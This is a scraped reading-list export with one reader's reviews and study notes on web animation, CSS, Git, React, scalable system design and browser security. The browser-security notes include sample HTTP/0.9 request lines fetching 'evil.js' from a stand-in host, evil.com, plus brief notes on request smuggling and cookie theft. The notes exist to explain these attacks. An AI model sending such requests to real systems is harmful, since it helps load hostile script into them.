|
|
|
|
|
|
|
|
|
|
|
|
|
|
my rating |
|
|
|
|
|
|
|
|
|
|
||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1138225622
| 9781138225626
| 1138225622
| 4.25
| 44
| unknown
| Aug 21, 2017
|
None
|
Notes are private!
|
0
|
not set
|
not set
|
Jul 16, 2019
|
Paperback
| |||||||||||||||
| 1937557596
| 9781937557591
| 1937557596
| 4.32
| 76
| unknown
| Aug 22, 2017
|
it was amazing
|
**spoiler alert**
Review
One of the best books I've read, a structured, extensive and elaborate explanation of why web animations are important, ho **spoiler alert** Review One of the best books I've read, a structured, extensive and elaborate explanation of why web animations are important, how to get buy-in and easily include them in your development process. There isn't a single trace of programming code here, what you'll find is a breakdown of the different types of animation, how to test their impact, the effects on the user cognitive flow, how cartoonists influenced UI design and web animation, how to keep pragmatic, design for accessibility and how to combine knowledge of the human vision, perception and reaction time to create animations that add context and delight. Notes Intro - We use "web app" to refer to sites that are more than just plain HTML. * For sites that look, feel, serve and perform as well as an app, animation is an essential tool. - Animation is not just something decorative to be included at the end of the project if there's some budget left over. * It creates experiences that go beyond mere linked documents. * Immerses users in the illusion of life. * Generates user confidence and trust with as much strength as a professional logo. Human Perception and Animation - Human vision: * The "where system": detects motion. * The "what system": detects form (morph) and colour. - Avoid cut-based animation, which works on cinematography but not on the web. * Animation should add context to seemingly disconnected elements and events. ^ And offload this context to the visual cortex, reducing cognitive load, increasing perceived speed. - Animation makes elements relationships clear, so users don't spend time thinking what just happened but thinking what to do next. - Tweens: in-between animation states. * Cuts in the UI make the brain do the in-betweening. - Sudden changes could distract users from the task at hand. - Cone of vision: human eye is more sensitive to colour changes in the centre (things users are directly looking at), and to movement in the edges. * Edges pick up almost no colour changes and just trigger an eye move signal. - Change blindness: when you don't notice a change when looking at a familiar thing or returning to a familiar room. Patterns and Purpose - 5 types of animation: * Transitions * Supplements: bring stuff on or off the page without changing location or user's task. * Feedback * Demonstrations: show, don't tell, can explain stuff to users, rather than having them read through a manual. * Decorative: purely aesthetics, do not convey new information, separate ordinary from extraordinary. - Don't fall in the trap of only implementing delighters that just reinforce branding and don't improve cognitive flow. - Wordy descriptions can indicate something being told, demonstration could be better. Anatomy of a Web Animation - Easing: * Acceleration: good for system initiated animation, to not startle users. * Deceleration: good for user initiated, makes UI feel responsive and snappy. * Speeding up - slowing down: interaction models, when moving an element toward another. * Linear: good for fades or colour change. * Bouncing. - Humans take 200-300ms to react to visual changes like clicking on a just enabled button. - It takes 70-700ms for the human eye to move. * Shorter animations near the centre of the cone of vision are better, 70-200ms. ^ While longer toward the edges, 300-700ms. - Changing colour on hover might be too slow over 100ms and moving something across the page below 300ms might be too fast, test to see what feels right. - When working on an animation for long, it may feel faster than it really is. - Tokenise animation durations and timing functions in style-guides in order to standardise animations across the site. Communicating Animation - Storyboards can help quantify element animations, by describing what, how and why things animate. - Animatics: videos of storyboards with audio tracks of actors reading their lines and the soundtracks. * Try Adobe After Effects or PrincipleForMac. - Try Framer for UI prototyping. - Generate buy-in: * Add animations to the style-guide. * Show side-by-side prototypes to stakeholders showing the site with and without them. Best Practices and other Educated Guesses - The fact that people notice and praise your animations, might be a red flag, they're spending cognitive power on them, the opposite of what you want. * You want animation to provide context, and only be noticed when you want to attract users attention, like demonstrative animation. - Keep consistency, if an element entrance is animated, the exit should be as well. - Avoid FOULS: flashes of unloaded/ing states. * Use Facebook Shimmer or spinners in place of loading images. - Adding motion blur (smear of motion) can help fast movements register better at low frame rates, makes the retina see smoother motion. * Try fading the object in the middle of its trajectory and back again at the end to give the impression that it moved so fast as to not register. - The Web Animations API would help you provide users with a way of speed up or slow down site-wide animations. - Be aware of time warps: time passing faster or slower for some people. - Animation can cause seizures. * Trigger vestibular disorders: problems regarding human vision and balance. ...more |
Notes are private!
|
1
|
Apr 05, 2018
|
Apr 07, 2018
|
Mar 26, 2018
|
ebook
| ||||||||||||||
| 4.02
| 1,193
| May 08, 2000
| Oct 2017
|
Review
Notes #2 Selectors - Running “document.createElement('main')� will allow IE8 (which doesn't support it) to understand that element exist s Review Notes #2 Selectors - Running “document.createElement('main')� will allow IE8 (which doesn't support it) to understand that element exist so we can style it. - [class|="btn"] class starts with "btn-" or is exactly "btn". - [class^="btn"] starts with "btn". - [title="foo"] matches foo in a space separated list of words. - Attribute selectors tend to be case sensitive if the underlying document language is. * HTML attribute key terms, which is not: input[type="CHECKBox"]. - CSS4 introduces a case-insensitivity identifier: img[src$=".pdf" i]. * Only works for values, may not work on attributes, be aware of: input[TYPE='tel']. ^ XHTML enforces case sensitivity, HTML5 does not. - "li + li" selects all but the first. - "div * span" selects span grandchildren. - "h2 + ol" adjacent sibling. * "h2 ~ ol" following sibling. - "a:lang(de)" target german links. - "p:empty" pseudo-class treats whitespace as not-empty. * Be aware of some elements which are always empty, "img" equals "img:empty". * Is the only selector that considers text nodes. - ":only-child", ":only-of-type". - Changing element size on :active or :hover could cause reflow by triggering layout on the browser. - Empty inputs might match ":valid". - ":not()" takes a single selector, no descendants, nesting or grouping. - Pseudo-elements styles are limited to font properties. #3 Specificity and the Cascade - 0,0,0,0 * Inline styles get the first digit. * ID. * Class, attributes, pseudo-class. * Elements, pseudo-elements. - Style links in the order: :link, :visited, :focus, :hover, :active, since they have the same specificity. #4 Values and Units - Every property accepts: inherit, initial, unset. * Initial: set back to starting value. * Inherit: set back to initial or inherit, whichever was previously set. * URLs in stylesheets are relative to themselves, not the document. - Viewport units. * 1vmin: lesser from n/100 viewport width or height. *1vmax: greater from n/100 viewport width or height. - "currentColor": value of the computed 'color' property. * when 'color' is not set on the element, this holds the inherited 'color' value. - "turn": is a unit handy for animations. #5 Fonts - Never quote generic font family names like serif, it makes the browser think it refers to a font-family: font-family: Arial, 'serif'. - When using @font-face. * Appending "format('woff')" to the "src" prevents downloading a font the browser won't understand. * Add "local('my-font')" first so the browser doesn't download fonts it already has. - unicode-range can allow using a font face for a single or group of characters. - "font-weight: bolder;" resolves to a value bolder than the parent's element. #6 Text Properties - line-height: use without units to make it work as a multiplier of the font-size, cause values like 1.5em get calculated and inherited as an actual value by children elements. - vertical-align only works on inline elements and table-cells (not all values apply for table-cells). * Accepts keywords and values. * "bottom" value aligns elements to the bottom edge of the line, which most times is below the baseline of the text. - "word-break: break-all" don't show hyphens even if the "hyphen" property is set. #7 Basic Visual Formatting - The values of margin, border, padding and content must add up to the width of the element's containing block. * Only margin and width can be set to "auto". ^ When "auto", the remaining width of the container is distributed among those auto values. ^ If none of them is set to "auto" and the total is less than the container's width, then, margin-right is set to auto by the user agent in order to make the element's box (including margin) match the container width. - box-decoration-break: clone. Causes each fragment of multiline inline elements to be drawn as a standalone box. So padding left|right is applied on every line rather than only at start and end. #8 Padding, Borders, Outlines, and Margins - background-clip prevents background from extending into the padding and/or border outside edge. - Percentage values on padding and margin are computed from the parent's width (except on most positioned elements, flex and grid, where they are calculated with respect to the height of their formatting context). * can be used for fluid fluid pages, where the padding on elements enlarges or reduces to match the actual size of the parent element. - Border takes the foreground color if no border-color is defined. - "border-radius: h / v" sets the horizontal and vertical rounding individually. - border-image for using an image as a border, it needs border-style and width to be set. - Outlines do not take up space and may be non-rectangular. * Cannot have different styles for each side. * Run along the margin, just outside the border. - Negative margins can create a Mondrian effect. - Margin collapse: when vertical margins meet, the smallest one is reset to zero according to the specification. * For parent-child, adding padding to the parent prevents collapsing. * Doesn't happen on floated elements. #9 Colors, Backgrounds, and Gradients - "background-clip: text" fills the text with the background color or image (will need "color: transparent" or with opacity "color: rgba()"). - background-position: can be set in pairs like: 'top left. Except for the keyword 'center', percentages or length values. * '0% 0%' is top left, '100% 100%' is top right., '50% 50%' is center. * Using lengths aligns the top left of the image to the specified value: '20px 50px'. * Can use negatives. - Can use 4 values too in order to change the edges from which offsets are calculated. * "background-position: left 33% top 30px" from the left edge, have a horizontal offset of 33%; from the top edge, have an offset of 30px. * "background-position: right 33% bottom 30px" from the right edge, have a horizontal offset of 33%; from the bottom edge, have an offset of 30px. - When 'background-origin: center;' and background-repeat is set, the bg will be placed in the middle and then repeated, rather than starting from top left as default, making a consisten look around the edges. - "background-repeat: space;" creates a grid pattern. * It may override 'background-position: center' if the image is too big, like if only two repetitions can fit, it'll draw them on the horizontal edges. - "background-repeat: round;" tries to fit as many images in the space provided: if the element is 850 px and the image 300px, the browser will scale down the image to 283 to fit 3 of them changing the aspect ratio if needed. * To make sure images are not cut and fit completely, the origin has to be set in a corner and not the centre. - 'background-attachment' immunes the effects of scrolling. - 'background-size: % %' percentages refer to the area defined by 'background-origin' and not 'background-clip'. - Setting auto triggers a 3-step fallback process: * "background-size: auto 100px" * On a 300px by 200px image. ^ The image has a 3:1 aspect ratio so it'll be preserved, resulting in a size of 150px by 100px. ^ If that fails but the image has an intrinsic aspect ratio (like most raster formats JPEG, PNG, GIF and some SVG), that ration will be used, resulting in 300px by 100px. ^ If that fails (which can happen on SVG or CSS gradients), like the image doesn't have intrinsic ratio, the horizontal size of the positioning area will be used (background-origin). - Nearly every background property can be comma-listed, allowing for multiple backgrounds. * Even the shorthand 'background: ..., ..., ...;' ^ background-color can only be added to the last layer, otherwise the declarations are made invalid. - Gradients are images just like raster or vector. * And can be used in any context an imager can, e.g. 'list-style-image'. * They've no intrinsic aspect ratio. - Setting the same color stop for two colours causes a hard colour switch effect. - Color-hints declare the midpoint colour of the gradient transition. #10 Floating and Shapes - Margin on floated elements do not collapse. - If no width is specified, the width collapses to zero. - Floated elements do not overlap, if two floats are wider than the container, the 2nd one will drop to the next row. - Floats only move horizontally, elements won't float to the top or bottom of the container. * And are aligned top. - When other elements overlap with a float: * Inline: Borders, big and content render on top of the float. * Block: borders and bg behind, content on top. - ‘shape-outside�: floats around a defined shape. * For images, they should have an alpha channel, or the shape will be rectangular. * Can use inset, circle, ellipse, polygon. - ‘shape-image-threshold�: opacity of float shape. - 'shape-margin': margin around shape. #11 Positioning - Containing block * For relative and static: the parent's content edge. * For absolute: content edge if inline parent, padding edge if block parent. - You can absolute position elements inside absolutely positioned elements. - When absolute, setting 'auto' for offset prop 'top' makes the top touch the upper edge line up with the place the element would've been if not positioned at all (static position). * left and right also but not bottom. - 'static' position is basically the place in the normal flow of the document. - left + margin + width + right = containing block width. * If they sum is less than the containing block width, margin-right takes the remaining space (reset to auto). * On positioned elements with all values set (left, width, margin, right), 'right' is reset to auto. * If any of the props is set to 'auto', that one takes the remaining space. - 'position: absolute; height: 5em; top: 0; bottom: 0; margin: auto;': centres vertically. - Replaced elements have an intrinsic width and height. - The specification keeps children from being drawn behind their parents when using z-index. * Each parent with z-index, establishes a stacking context for its children. #12 Flexible Box Layout - Flexbox was designed for single dimensional layouts, works best at arranging information along one axis, not grids. * 'justify-content' won't necessarily apply the same spacing between elements on multiple cross-axis blocks if the element count or size on each block is different. - When 'writing-mode: vertical-lr;', flex direction row means top to bottom. * Similar for 'direction: rtl'. - 'flex-wrap', controls the cross-axis direction. - 'flex-flow', shorthand for flex-direction and flex-wrap. - flex items won't shrink to smaller than their border, padding, margin combined. - justify-content aligns items across the main axis. * space-around gives each item the same margin, making the space between the ones in the middle being double of that at the start and end (no margin collapse). * space-evenly splits white space evenly everywhere. - 'align-items' aligns items across the cross axis. * stretch: will make elements take 100% height unless margin, [min-|max-]height are set. * baseline: aligns all items' baselines starting with the one having the biggest font-size. - 'align-self' is applied to flex items to override 'align-items'. - 'align-content': controls the space between items spanning multiple columns in the cross-axis. * Like justify-content does for the main-axis. * As opposed to align-items, who aligns vertically per row. - On flex items: margin do not collapse, 'float' and 'clear' are ignored. - Empty text nodes (including whitespace) are ignored. * Non-whitespace ones are wrapped in anonymous flex items and become part of the layout. - flex-basis takes precedence over width/height. - 'flex: 3' = 'flex: 3 0 0' (flex-basis will grow at a factor of 3 from 0px). - 'flex: none' = 'flex: 0 0 auto'. #13 Grid Layout - Grids will not slide behind floated elements. - Column props, float, clear have not effect on grid containers. - vertical-align has no effect on grid items. - If an inline-grid container is floated or absolutely pos, changes to display:grid. - Grid area: one or more cells. - Grid line can have multiple names, cols and rows and share names. - minmax(a, b): not shorter than a, not larger than b. - Mixing fr with other cols of fixed width, gives the fr col the remaining space. - min-content and max-content can by used for col/row size. ...more |
Notes are private!
|
1
|
Apr 15, 2018
|
Aug 16, 2020
|
Jan 03, 2018
|
Paperback
| ||||||||||||||||||
| 1449339735
| 9781449339739
| 1449339735
| 4.08
| 531
| Jan 01, 2013
| Apr 30, 2013
|
it was amazing
|
None
|
Notes are private!
|
1
|
Dec 03, 2017
|
Dec 04, 2017
|
Dec 03, 2017
|
Paperback
| ||||||||||||||
| 1593273886
| 9781593273880
| 1593273886
| 4.04
| 548
| Sep 22, 2011
| Nov 15, 2011
|
really liked it
|
Review
A bit dated as any 7 year old web related book, I picked it up to get a good grasp of the definition and impact of things like XSS, XSRF, He Review A bit dated as any 7 year old web related book, I picked it up to get a good grasp of the definition and impact of things like XSS, XSRF, Header splitting, etc. Most of the book is still relevant but some stuff should be revalidated since they may be deprecated like XDomainRequest. What I like about these older books concerning the web is that they're an easy read, that is, by having a bit of knowledge of some of the concepts, getting a deeper understanding is straight forward. Notes It Starts with a URL - scheme://login.pwd@address:port/path ?search#fragment - The protocol and // signal an absolute url. - Pseudo protocols: * view-source:http://... * data:text/plain,somePage,inlineDocument - Transfer-Encoding: chunked (for transmitting steam data without specifying content-length). HTTP - HttpOnly: cookie attribute to prevent reading from document.cookie. - secure: only send cookie over HTTPS. * If not, even if sets a cookie, an attacker can just wait for you to go to , inject a frame, point it to , intercept the TCP handshake and grab the cookie. - HTTP request: * First line: method - path - version * Headers split into one per line, ending with a CR/LF * Request body starts after the empty line. - HTTP response: * First line: version - response code - response keyword * Headers and payload same as request structure. HTML - &, <, >, ', " should be escaped. - Named entities: > equals > and & equals ampersand (for encoding/obfuscating characters including attributes). - Documents not loaded through HTTP lack headers, causing browsers to improvise things like MIME type and charset. * Something like this might help sometimes . * But some may never work cause it's tot late in the rendering process like changing the document type . - Hyperlinks target view might get access denied and open in a new window (same-origin maybe?). * Possible values: _top, _parent, _blank, [a name]. - Forms with no action param get submitted to the document location. * Forms with GET method are submitted with named fields as query string, plus signs are encoded like �%2B�, and spaces are replaced by plus sign: /action?field=name+lastname&four=two%2Btwo. * For POST the default is to include params as the request payload or body ( application/x-www-form-urlencoded). CSS - @charset sets the css file charset. Content Isolation Logic - Same-origin is based on DNS not IP. * Susceptible to DNS rebinding: intentionally pointing DNS to a new IP. * Browsers try to mitigate by caching DNS lookups. - Remove subdomain from document.domain to relax same-origin. * document.domain doesn't work for XHR. - Content-length: payload length header which is always set by the browser. * Could be overwritten by XHR, causing a second request to be smuggled through on keep-alive sessions as part of the 1st request body. * So most browsers prevent modifying some headers: Content-length, Referer, User-Agent, Cookie, Origin. - TRACE HTTP verb is banned almost everywhere, used fore debugging, allows you to trace requests hops. - Servers still support HTTP 0.9, one-liner protocol easy to exploit. * GET\thttp://evil.com/evil.js\n\n * or also: GET\thttp://evil.com/evil.js\tHTTP/1.0\n\n - Cookies are set for the domain param (and any subdomain starting from there) and the path. - At some point you could access HttpOnly cookies through XHR: req.getResponseHeader('Set-Cookie'), may still be possible. - Cookies can be overwritten from non HTTPS, non HttpOnly or non secure parts of your site. - Cookies don't include protocol. Outside of Same-Origin - X-Frame-Options (deny or same-origin): prevent page form being framed, so it cannot be tampered with, like click hijacking or phishing. - To mitigate keystroke redirection, browsers prevent focus switch while on keypress. * It doesn't work completely cause attackers can roughly predict what keys will pressed next and at when based on English language, thus, making the focus switch at the right time. Other Browser Boundaries - 3 types of URL schemes. * UnrestrictedL HTTP, HTTPS, FTP. * Partly restricted: file:, data:, javascript:. * Restricted: about:, res:, chrome: (cannot be navigated to under any circumstance). - Third-party Cookies are used by ad sites to tag users. Content Recognition - Content sniffing: if Content-Type is missing, browsers will try to guess the resource type based on heuristics like the extension or payload inspection. * HTTP specification permits sniffing only in the absence of the header. * For malformed MYME types, browsers may still use sniffing. - X-Content-Type-Options: nosniff. - Content-Disposition: attachment (may trigger a download dialog box). New Features - CORS only allows GET, POST and HEAD. * Response headers must include Access-Control-Allow-origin (can use wildcard "*"). * This origin must be the same as the origin header of the request headers. * For non simple requests, browsers may do a handshake first by sending an OPTIONS preflight request to see if the user is allowed. ^ This can be cached. - Content Security Policy (CSP): for controlling what can be loaded with the src attribute. * X-Content-Security-Policy * X-Content-Security-Policy-Report-Only: warning only without failing HTTP requests. - Sandboxed frames: allow you to policy control content displayed and loaded by embedded frames. * allow-scripts, allow-forms, etc. - HSTS or STS: http strict transport security, to prevent browsers from navigating to the non-https version of a site at first and then immediately redirecting to https, allowing for the first request to go unencrypted. * Strict-Transport-Security: max-age=30000; includeSubDomains Common Vulnerabilities - Cross-site request forgery (XSRF / CSRF) * making requests to the server impersonating the user client. - Cross-site script inclusion (XSSI) * load JSON-like responses through script tags. - Cross-site scripting (XSS) * non-escaped inputs allowing attackers to plant html or scripts on your site. - Header injection or response splitting. - HTTP downgrade - Cache poisoning - Cookie injection - Network fenceposts: with the help of DNS rebinding, an attacker may be able to see responses to all server requests. - Vulnerabilities on the server: * Buffer overflow * Command injection like SQL * Directory traversal * File inclusion * Format-string: allow attackers to plant a string into a templating function like printf(). * Integer overflow * Pointer management ...more |
Notes are private!
|
1
|
Mar 18, 2018
|
Mar 27, 2018
|
Nov 25, 2017
|
Paperback
| ||||||||||||||
| 1484200772
| 9781484200773
| 1484200772
| 4.18
| 3,355
| 2009
| Nov 09, 2014
|
really liked it
|
Chapters review/summary: 1) Some history and installation options. Differences between centralised VCS and distributed, what makes git different from o Chapters review/summary: 1) Some history and installation options. Differences between centralised VCS and distributed, what makes git different from other distributed: features like branching and working with large codebases in the way that branches are just pointers to a commit and each commit has snapshots of the tracked files at a point in time rather than tracking the delta between file revisions, three main states: committed, stated and modified; which is the same as: git directory, staging area (or index) and working tree/directory. 2) The basics, commands like: add, commit, push, log, status, tag. Configure gitignore, what are remotes and how to use them, how to tag, create aliases, do things like "git mv myFile myFileRename" so git knows about a rename in one single command rather than multiple steps (same for "rm"), how to unstage 3) Branching explained, branching management and strategies, merging and rebasing. Don't rebase work you've pushed to remote as it may cause problems to others tracking the same branch on the remote, try to rebase only local commits. ...more |
Notes are private!
|
1
|
Nov 17, 2017
|
Nov 21, 2017
|
Nov 17, 2017
|
Paperback
| ||||||||||||||
| B0DTTP5Z2P
| unknown
| 3.33
| 18
| unknown
| unknown
|
liked it
|
Quick read. Good enough to get you started on the command line with most of the commands you'll need at first. I liked the fact that just some of the
Quick read. Good enough to get you started on the command line with most of the commands you'll need at first. I liked the fact that just some of the most important flags of those commands are presented, thus, prioritising the importance of those over others not used so often. But didn't like the fact that we're missing commands like touch, chmod, chown, and no mention whatsoever of what sudo is. I would've liked to have a short list of the next commands you'll likely need in case you want to continue the learning path.
...more
|
Notes are private!
|
1
|
Nov 14, 2017
|
Nov 16, 2017
|
Nov 14, 2017
|
Unknown Binding
| |||||||||||||||
| B0DM1NLZBD
| 3.47
| 17
| unknown
| Dec 16, 2016
|
liked it
|
Quick and easy, very hands on read. Feels more like a tutorial than a book, but I think it'll get you started with React and Redux. The book covers a Quick and easy, very hands on read. Feels more like a tutorial than a book, but I think it'll get you started with React and Redux. The book covers a lot of ground to get an app running end-to-end: - JSX - Stateless and stateful components - React components lifecycle - The create-react-app tool - Flux and Redux - Redux middleware - Routing - Unit, integration and functional testing - Deployment tools like: Surge, GH Pages, Heroku - CI builds like: TravisCI, Jenkins It's not meant to be a comprehensive guide since most of the topics above would expand a whole book upon themselves but my problem is on the examples, which have several silly errors like props being called but not passed down to components, things you can probably figure out if you're paying close attention. Similar thing with the source files on Github, which don't reflect what's on the book, not sure if you're meant to download the code and update as you're reading cause the structure just seemed a bit half baked rather than an initial version of the app. ...more |
Notes are private!
|
1
|
Oct 15, 2017
|
Nov 2017
|
Oct 15, 2017
|
ebook
| ||||||||||||||||
| B0DTW3W5K9
| 4.32
| 355
| unknown
| unknown
|
it was amazing
|
None
|
Notes are private!
|
1
|
Dec 08, 2017
|
Dec 13, 2017
|
Sep 28, 2017
|
ebook
| ||||||||||||||||
| 0071843655
| 9780071843652
| 0071843655
| 4.51
| 326
| May 29, 2015
| Jun 02, 2015
|
it was amazing
|
**spoiler alert** Review: High level overview of how to design highly scalable systems, each component is described in detail and broken down into pote **spoiler alert** Review: High level overview of how to design highly scalable systems, each component is described in detail and broken down into potential use cases so it's easy to understand how it fits in the architecture: benefits, caveats, challenges, tradeoffs. Feels like a great combination of breadth and depth that also includes a vast reference list of books, white papers, talks and links to expand on each topic. Notes: #1: Core Concepts - Avoid full re-writes, they always cost and take more than expected and you end up with similar issues. - Single-server configuration means having everything running off one machine, good option for small applications and can be scaled vertically. - Vertical scaling gets more expensive in time and has a fixed ceiling. - Isolation of services means running different components off different servers like DNS, cache, data storage, static assets, etc., which can then be vertically scaled independently. - CDNs bring things like geoDNS for your static assets so requests will be routed to the geographically closest servers. - SOA is an architecture centred around loosely coupled and autonomous services that solve specific business needs. - Layered architectures divide functionality into layers where the lower layers provide an API for and don't know about the upper ones. - Hexagonal architecture asumes the business logic is in the center and all interactions with other components, like data stores or users, are equal, everything outside the business logic requires a strict contract. - Event-driven architecture is a different way of thinking about actions, is about reacting to events that already happened while traditional architectures are about responding to requests. #2: Principles of Good Software Design - Simplicity. - Hide complexity behind abstractions. - Avoid overengineering. - Try TDD, use SOLID. - Promote loose coupling, drawing diagrams helps spot coupling. - DRY and don't waste time by following inefficient processes or reinventing the wheel. - Functional Partitioning: dividing the system based on functionality where each subsystem has everything it needs to operate like data store, cache, message queue, queue workers; eg.: profile web service, scheduling web service. - Design for self healing. #3: Building the FE Layer - You can have your frontend be a traditional multipage web application, SPA, or a hybrid. - Web servers can be stateless (handle requests from every user indistinctly) or stateful (handle every request of some users). - Prefer stateless servers where session is not kept within the servers but pushed to another layer like a shared session storage which makes for better horizontal scalability since you can add/remove clones without affecting users bound sessions. - HTTP is stateless but cookies make it stateful. - On the first HTTP request the server can send a Set-Cookie:SID=XYZ... response header, after that, every consecutive request needs to contain the cookie Cookie:SID=XYZ... - Session data can be stored in cookies: which means every request (css, images, etc) contains the full body of session data, when state changes, the server needs to re-send a Set-Cookie:SDATA=ABCDE... which increases request payload so only use if session state is small. As an advantage you don't have to store any session data in the server. - Keep session state in shared data store: like Memcached, Redis, Cassandra; then you only append the session id to every request while the full session data is kept in the shared store which can be distributed and partitioned by session id. - Or use a load balancer that supports sticky sessions: this is not flexible as it makes the load balancer know about every user, scaling is hard since you can't restart or decommission web servers without breaking users sessions. - Components of scalable frontends: DNS, CDN, Load Balancer, FE web server cluster. - DNS is the first component hit by users, use a third-party hosted service in almost all cases. There are geoDNS and latency based DNS services like Amazon Rout 53 which can be better than the former cause they take into consideration realtime network congestion and outages in order to route traffic. - Load Balancers help with horizontal scaling since users don't hit web servers directly. * can provide SSL offloading (or SSL termination) where the LB encrypts and decrypts HTTPS connections and then your web servers talk HTTP among them internally. * there are providers like Amazon ELB, software-based LB like Nginx and HAProxy and hardware based that can be more expensive but more easily to vertically scale. * apart from an external LB routing traffic to FE web servers, you can have an internal LB to distribute from FE to web services instances and gain all the benefits of an LB internally. * some LB route the TCP connections themselves allowing the use of other protocols apart from HTTP. #4: Web Services - The monolithic approach: where you can have a single mvc web app containing all the web application controllers, mobile services controllers, third-party integration service controllers and shared business logic. * Here every time you need to integrate a new parter, you'd need to build that into the same mvc app as a set of controllers and views since there's not concept of separate web services layer. - The API-first approach: all clients talk to the web application using the same API which is a set of shared web services containing all the business logic. - Function-centric web services: is the concept of calling functions or objects in remote machines without the need to know how they're implemented like SOAP, CORBA, XML-RPC, DCOM. * SOAP dominates this space, it uses WSDL files for describing methods and endpoints available and provide service discovery and an XSD files for describing data structure. * Your client code doesn't need to know that is calling a remote web service, it only needs to know the objects generated on web services contract (WSDL + XSD files). * dozens of additional specifications were created for SOAP (referred to as ws-* like ws-security) for features like transactions, multiphase commits, authentication, encryption, etc., but this caused reduced interoperability, it made it difficult to integrate between development stacks as different providers had different levels of support for the ws-* specifications, specially in dynamic languages like PHP, Ruby, Perl, Python; this led to the alternative and easier to implement JSON + REST. * You couldn't either cache HTTP calls on URL alone since it was the same every time due to request params and method names being part of the XML document itself. * Some of the ws-* specifications introduced state, preventing you from treating web service machines as stateless clones. * Having a strict contract and the ability to discover functions and data types, provides a lot of value. - Resource-centric web services treat every resource as a type of object, you can model them as you like but the operations you can perform on them are standard (POST, GET, PUT, DELETE), different from SOAP where you have arbitrary functions which take and produce arbitrary values. * REST is predictable, you know the operations will be always the same, while on SOAP each service had its conventions, standards and ws-* specifications. * Uses JSON rather than XML which is lighter and easier to read. * REST frameworks or containers is pretty much just a simple HTTP server that maps URLs to your code. * It doesn't provide discoverability and auto-generation of client code that SOAP has with WSDL and XSD but by being more flexible it allows for nonbreaking changes to be released in the server without the need to redeploy client code. #5: Data Layer - Replication scales reads not writes. * On MySQL you can have a master and slave topology, there's a limit on the slave count but you can then have multilayer slaves to increase the limit. * All writes go to master while replicas are read-only. * Replication happens asynchronously. * Each slave has a binlog file with the list of statements from master to be executed and a relay log with the already executed ones. * Promoting a slave to master is a manual process. * You can have a master-master topology for a faster/easier failover process but still not automatic in MySQL. In this topology, you write to either one and the other replicates from its binlog. * The more masters you have, the longer the replication lag, hence worst write times. - Active Data Set: amount of data accessed within a time window (an hour, day, week). Its the live data that's more frequently read/written. * A large active data set size is a common scalability issue. * Replication can help increasing concurrent reads but not if you want to increase the active data size since an entire copy of the dataset needs to be kept in each slave. - When sharding, you want to keep together sets of data that will be accessed together and spread the load evenly among servers. - You can apply sharding to object caches, message queues, file systems, etc. * Cross-shard queries are a big challenge and should prob be avoided. * Cross-shard transactions are not ACID. - Try to avoid distributed transactions. - NoSQL databases make compromises in order to support their priority features. - The famous "pick two" phrase related to the CAP theorem is not entirely true. * If you're system is still operational after a number of failures, you still have partition tolerance. * Quorum consistency provides consistency while still having availability at the price of latency. - Quorum consistency means the majority of the nodes agree on the result (reads and/or writes), you can implement this for some of your queries which means you're trading latency for consistency on eventually consistent systems, meaning you can still enforce read-after-write semantics. - Eventual Consistency: property of a system where nodes may have different versions of the data until it eventually propagates. * These systems favor availability, they give no guarantees that the data you're getting is the freshest. * Amazon Dynamo (designed to support the checkout process) works this way, it saves all conflicts and sends them to the client where the reconciliation happens which results on both shopping cart versions being merged. They prefer showing previously removed item in a shopping cart than loosing data. - Cassandra topology: all nodes are the same, they all accept reads and writes, when designing your cluster you decide how many nodes you want the data to be replicated to which happens automatically, all nodes know which has what data. * It's a mix of Google's BigTable and Amazon's Dynamo, it has huge tables that most of the times are not related, rows can be partitioned by the row key among nodes and you can add columns on the fly, not all rows need to have all the columns. * When a client connects to a node, this one acts as the session coordinator, it finds which nodes have the requested data and delegates to them. * It implements a self-healing technique where 10% of all transactions trigger an async background check against all replicas and sends updates to the ones with stale data. #6: Caching - Cache hit ratio is the most important metric of caching which is affected by 3 factors. * data set size: the most unique your cache keys, the less chance of reusing them. If you wanted to cache based on user's IP address, you have up to 4 billion keys, different from caching based on country. * space: how big are the data objects. * TTL (time to live). - HTTP caches are read-through caches. * For these you can use request/response headers or HTML metatags, try to avoid the latter to prevent confusion. * Favor "Expires: A-DATE" over "Cache-Control: max-age=TTL", the latter is inconsistent and less backwards compatible. * Browser cache: exists in most browsers. * Caching Proxies: usually a local server in your office or ISP to reduce internet traffic, less used nowadays cause of cheaper internet prices. * HTTPS prevents caching on intermediary proxies. * Reverse Proxy: reduces the load on your web servers and can be installed in the same machine as the load balancer like Nginx or Varnish. * CDNs can act as caches. * Most caching systems use Least Recently Used (LRU) algorithm to reclaim memory space. - Object Caches are cache-aside caches. * Client side like the web storage specification, up to 5 and 25MB. * Distributed Object Caches: ease the load on data stores, you app will check them before making a request to the db, you can decide if updating the cache on read or write. * Caching invalidation is hard: if you were caching each search result on an e-commerce site, then updated one product, there's no easy way of invalidating the cache without running each of the search queries and see if the product is included. * The best approach often is to set a short TTL. #7: Asynchronous Processing - Messages are fire-and-forget requests. - Message queue: can be as simple as a database table. - Message Broker | Event Service Bus (ESB) | Message-Oriented Middleware (MOM): app that handles message queuing, routing and delivery, often optimised for concurrency and throughput. - Message producers are clients issuing requests (messages). - Message Consumers are your servers which process messages. * Can be cron-like (pull model): connects periodically to the queue to check its status, common among scripting languages without a persistent running application container: PHP, Ruby, Perl. * Daemon-like (push-model): consumers run in an infinite loop usually with a permanent connection to the broker, common with languages with persistent application containers: C#, Java, Node.js. - Messaging protocols. * AMQP is recommended, standardised (equally implemented among providers) well-defined contract for publishing, consuming and transferring messages, provides delivery guarantees, transactions, etc. * STOMP, simple and text based like HTTP, adds little overhead but advanced features require the use of extensions via custom headers which are non-standard like prefetch-count. * JMS is only for JVM languages. - Benefits of message queues: * Async processing. * Evening out Traffic Spikes: if you get more requests, the queue just gets longer and messages take longer to get picked up but consumers will still process the same amount of messages and eventually even out the queue. *Isolate failures, self-healing and decoupling. - Challenges. * No message ordering, group Ids can help, some providers will guarantee ordered delivery of messages of same group, watch out for consumer idle time. * Race conditions. * Message re-queuing: strive for idempotent consumers. * Don't couple producers with consumers. - Event sourcing: technique where every change to the application state is persisted in the form of an event, usually tracked in a log file, so at any point in time you can replay back the events and get to an specific state, MySQL replication with binary log files is an example. #8: Searching for Data - High cardinality fields (many unique values) are good index candidates cause they narrow down searches. - Distribution factor also affects the index. - You can have compound indexes to combine a high cardinality field and low distributed one. - Inverted index: allows search of phrases or words in full-text-search. * These break down words into tokens and store next to them the document ids that contain them. * When making a search you get the posting lists of each word, merge them and then find the intersections. #9: Other Dimensions of 